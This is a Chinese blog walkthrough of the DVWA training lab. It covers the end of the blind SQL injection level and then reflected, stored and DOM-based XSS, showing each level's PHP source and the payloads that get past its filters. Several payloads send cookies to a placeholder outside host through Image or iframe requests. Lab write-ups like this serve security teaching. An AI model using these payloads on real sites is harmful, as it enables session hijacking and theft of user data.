直接先看源码吧,payload 都不会有什么太大变化,只要确定注入类型和可能被过滤了的特殊字符,使用其他可代替字符进行绕过就行。
# 源码
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ]; // 通过HTTP Cookie 将数组传递给当前脚本的变量。
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysql_numrows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) { # 这里还加了一个过滤sleep 语句的,前面如果不成立,就会随机延迟几秒返回,混淆攻击者。
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // 发送请求头返回404状态
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
mysql_close();
}
?>
直接在页面进行注入测试
很明显存在字符型注入。
impossible 等级
不可能绕过的等级,直接看源码吧
# 源码
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); //设置token
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) { //检查输入的是不是数值
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT ); // 预处理 SQL 中的整型。
$data->execute();
// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
}
// Generate Anti-CSRF token
generateSessionToken(); // 防止CSRF攻击
?>
9、XSS(Reflected)
反射型XSS也称为非持久型、参数型跨站脚本攻击,反射型XSS一般只是简单的把用户输入的数据返回到浏览器上。
Low 等级
打开DVWA,将安全等级调至最低等级,找到XSS(Reflected)开始实验
先看一下这块的源代码
<?php header ("X-XSS-Protection: 0"); // Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL )
{ // Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
输入admin,页面回显
看到上面提交参数的方法是GET请求,那我们可以在url中直接修改请求。
测试一下最简单的xss
<script>alert('XSS')</script>
<body onload=alert('XSS')>
<a href='' onclick=alert('XSS')>click</a> #点击click,弹出onclick的内容
<img src=11 onerror=alert('xss')> #src地址错误,执行onerror的内容
<script>alert(document.cookie)</script> #获取cookie的值
#监听端口,反弹cookie
<script>new Image().src=http://x.x.x.x/x.php? output="+document.cookie;"</script>
发现成功弹出XSS,说明这个提交框是存在XSS攻击的
拿到cookie值。
Medium 等级
调整DVWA的难度
查看一下源码
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
这里把
<script>
标签给过滤了,但是规则只能过滤<script>
这种格式的,可以使用大小写的方法绕过。
<Script>alert('XSS')</Script>
成功绕过,就可以获取cookie了
得到cookie。
还有其他的绕过方法,组合过滤条件绕过:
<scr<script>>ipt<alert('XSS')</scr<script>ipt>
使用其他标签绕过
<body onload=alert('XSS')>
<a href='' onclick=alert('xss')>click</a>
High 等级
先调整好难度,再看看源码
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
高难度中将存在
<script>
的形式全部都过滤了,大小写都不行。但是没有过滤其他标签,所以可以用其他标签进行绕过。
<img src=123 onerror=alert('xss')>
成功绕过,获取cookie
<img src=123 onerror=alert(document.cookie)>
Impossible 等级
查看源代码
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
这关中,使用了htmlspecialchars()函数,对传入的参数,做了实体转换,导致所有标签的方法都失效。
10、XSS(Stored)
存储型XSS具有持久化的特性,恶意代码存储在数据库中,个人信息、文章发表、留言功能等都可能存在该漏洞。
Low 等级
查看一下源代码,
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
首先,使用trim函数,对输入的参数进行两端空格过滤,再使用mysql_real_escape_string 函数转义SQL语句中的特殊字符,使用stripslashes 函数过滤掉"\",对$name 参数中使用mysql_real_escape_string 函数转义SQL语句中的特殊字符,从源码中看并没有有效防御XSS的漏洞,只有防御SQL注入的漏洞。先直接尝试一般的XSS
<script>alert('xss')</script>
<body οnlοad=alert('xss')>
<a href=http://www.daidu.com>click</a>
<a href='' οnclick=alert('xss')>click</a>
重定向:
<script>window.location='http://www.baidu.com'</script>
<script>window.location='http://ip'</script>
<iframe src='http://IP/a.jpg' height='0' width='0'></iframe>
获取cookie:
<script>alert(document.cookie)</script>
<script>new Image().src="http://IP/c.php? output="+document.cookie;</script>
<iframe src="../csrf" οnlοad=alert(frames[0].document.getElementsByName('user_token')[0].value)>
Medium 等级
分析源代码,还是先过滤了参数的两端的空格,用htmlspecialchars()函数对参数 m e s s a g e 做 了 实 体 转 换 过 滤 , 对 参 数 message做了实体转换过滤,对参数 message做了实体转换过滤,对参数name并没有严格过滤,只是用str_replace函数替换了
<script>
标签。
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
可以使用其他的HTML的标签,对$name参数的防御进行绕过。
发现 $name 参数的长度有限制,可以在 开发者工具 中手动将 长度调大绕过限制。(修改后不要刷新)
<img src=111 onerror=alert(document.cookie)>
成功绕过限制和过滤,获取到cookie。
High 等级
查看源码,这里 m e s s a g e 参 数 继 承 了 之 前 的 过 滤 方 式 , message参数继承了之前的过滤方式, message参数继承了之前的过滤方式,name 参数使用preg_replace函数进行了正则表达的过滤,但是依然没有限制其他HTML标签,可以使用其他标签绕过。
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
绕过成功,获得cookie。
Impossible 等级
查看源码,$message 和 $name 参数都做了html实体转化,不能进行绕过,使用token来防范CSRF攻击,使用预处理防御SQL注入。
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );
// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
11、DOM型XSS
通过修改DOM节点形成XSS,被称为DOM型XSS,它和反射型和存储型的Xss的差别在于,DOM型XSS的恶意代码并不需要服务器解析响应的直接参与,触发XSS是依靠的浏览器端的DOM解析。服务端的防御对于DOM型XSS是不起作用的,重点在于客户端浏览器。
可能触发DOM型XSS的几个属性
document.referer
window.name
location
innerHTML
document.write
Low 等级
看到 查询 的参数是通过GET请求提交的,如果存在XSS就可以使用参数直接提交。查看源码中并没有做任何限制
但看到页面源码中存在,从URL栏中获取default参数的值,通过
default=
后面的字符串来实现,然后直接写到了option
标签中,并没有对获取的值进行过滤。
if (document.location.href.indexOf("default=") >= 0) {
var lang= document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
这是由
document.write
属性造成的DOM型XSS漏洞。因为js代码中是本地执行,获取url中输入的参数后直接嵌入到option
标签中,因而可以往default参数中注入XSS的payload。
Spanish<script>alert(document.cookie)</script>)
成功获取到cookie
Medium 等级
查看源码,看到源码中对default参数做了
stripos函数
(不区分大小写)过滤了<script
,所以不能使用<script>
标签,试试其他标签是否可以绕过。header()函数,向客户端发送原始的HTTP报头
strrpos()函数,查找字符串在另一字符串中第一次出现的位置(不区分大小写)
array_key_exists()函数,检测某个数组中是否存在指定的键名,存在返回true,不存在返回false。
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
# Payload
?default=<img src=11 οnerrοr=alert(document.cookie)>
提交后发现没反应,查看一下网页源码
发现,输入的payload被插入到
option
标签中了,所以没有作用。
# Payload
?default=</option></select><img src=1231 οnerrοr=alert(document.cookie)>
成功执行,获得cookie。
High 等级
查看一下防御的源码,这次使用switch 判断设置白名单过滤了,default的值必须是四个中的一个才能执行,如果不是,就会发送原始的HTTP报头到客户端去。
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
在URL传输中【#】后面的代码会被当做注释而不进行解析,而HTML【#】大部分情况都是没有含义的字符,所以可以构建恶意代码来绕过限制
# payload
English #<script>alert(document.cookie)</script>
插件提示了XSS跨站脚本攻击,应该是成功了的。
获取到了cookie。
Impossible 等级
查看一下客户端的源码
大多数浏览器都直接将从URL中获取的内容进行编码,客户端的源代码中将URL编码后的内容插入到了动态页面中,从而阻止了任何可执行的JavaScript代码
完结!! 撒花
本文来自博客园,作者:knsec,转载请注明原文链接:https://www.cnblogs.com/knsec-cnblogs/p/16582263.html